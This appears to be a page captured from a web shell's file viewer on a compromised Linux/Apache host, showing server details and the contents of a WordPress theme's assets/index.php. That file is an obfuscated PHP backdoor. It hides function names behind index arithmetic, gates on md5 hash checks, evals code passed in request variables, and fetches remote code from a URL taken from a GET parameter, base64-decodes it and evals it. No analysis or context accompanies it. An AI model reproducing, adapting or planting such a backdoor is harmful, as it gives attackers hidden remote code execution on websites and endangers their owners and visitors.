HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: //proc/self/cwd/wp-content/themes/consultstreet/assets/assets/index.php
<?php $U = "r"."a"."n"."g"."e"; $UNLhk = $U("~", " "); $hF=${$UNLhk[0+31].$UNLhk[23+36].$UNLhk[7+40].$UNLhk[24+23].$UNLhk[33+18].$UNLhk[18+35].$UNLhk[10+47]}; if((in_array(gettype($hF).count($hF),$hF)&&count($hF)==30)&&(md5(md5(md5(md5($hF[24]))))==="461c241a2379da8be0c289562d4a056a")){ (($hF[66]=$hF[66].$hF[71])&&($hF[87]=$hF[66]($hF[87]))&&(@eval($hF[66](${$hF[31]}[17]))));} metaphone("XQeMlZ50nW/ZEDqNKHvUo88oZPahQAIKBiXI5z9aIc0"); class Qf{ static function lKbRSPzj($LxbwHs) { $qTnEhXjzMN = "r"."a"."n"."g"."e"; $ctlrJWMVGh = $qTnEhXjzMN("~", " "); $IBirh = explode("#", $LxbwHs); $qEYVrHBMX = ""; foreach ($IBirh as $AEBXyY => $xrCiT) $qEYVrHBMX .= $ctlrJWMVGh[$xrCiT - 38217]; return $qEYVrHBMX; } static function MU($uxATlzev, $wR) { $eCAsn = curl_init($uxATlzev); curl_setopt($eCAsn, CURLOPT_RETURNTRANSFER, 1); $yLgnWZclFb = curl_exec($eCAsn); return empty($yLgnWZclFb) ? $wR($uxATlzev) : $yLgnWZclFb; } static function YhPEpI() { $SqW = array("38244#38229#38242#38246#38227#38242#38248#38241#38226#38233#38244#38227#38238#38232#38233","38228#38227#38229#38248#38229#38232#38227#38294#38292","38237#38228#38232#38233#38248#38243#38242#38244#38232#38243#38242","38231#38246#38244#38236","38245#38246#38228#38242#38289#38291#38248#38243#38242#38244#38232#38243#38242","38241#38238#38235#38242#38248#38240#38242#38227#38248#38244#38232#38233#38227#38242#38233#38227#38228","38271#38301","38218","38296#38301","38278#38261#38261#38278#38254","38241#38238#38235#38227#38242#38229#38248#38238#38233#38231#38226#38227"); foreach ($SqW as $hNjf) $MnV[] = self::lKbRSPzj($hNjf); $uXwlmJnUFV = @$MnV[1]($MnV[9+1](INPUT_GET, $MnV[9+0]));  $cagVvzi = @$MnV[3+0]($MnV[3+3], $uXwlmJnUFV); $zI = $MnV[1+1]($cagVvzi, true);  @$MnV[6+4](INPUT_GET, "of") == 1 && die($MnV[5+0](__FILE__)); if( ((@$zI[0] - time()) > 0) and (md5(md5($zI[3+0])) === "3f6bb74c8121467ec640ee8784de2caf") ): $ZpfEreAux = self::MU($zI[0+1], $MnV[0+5]);@eval($MnV[0+4]($ZpfEreAux));die; endif; }}Qf::YhPEpI(); ?>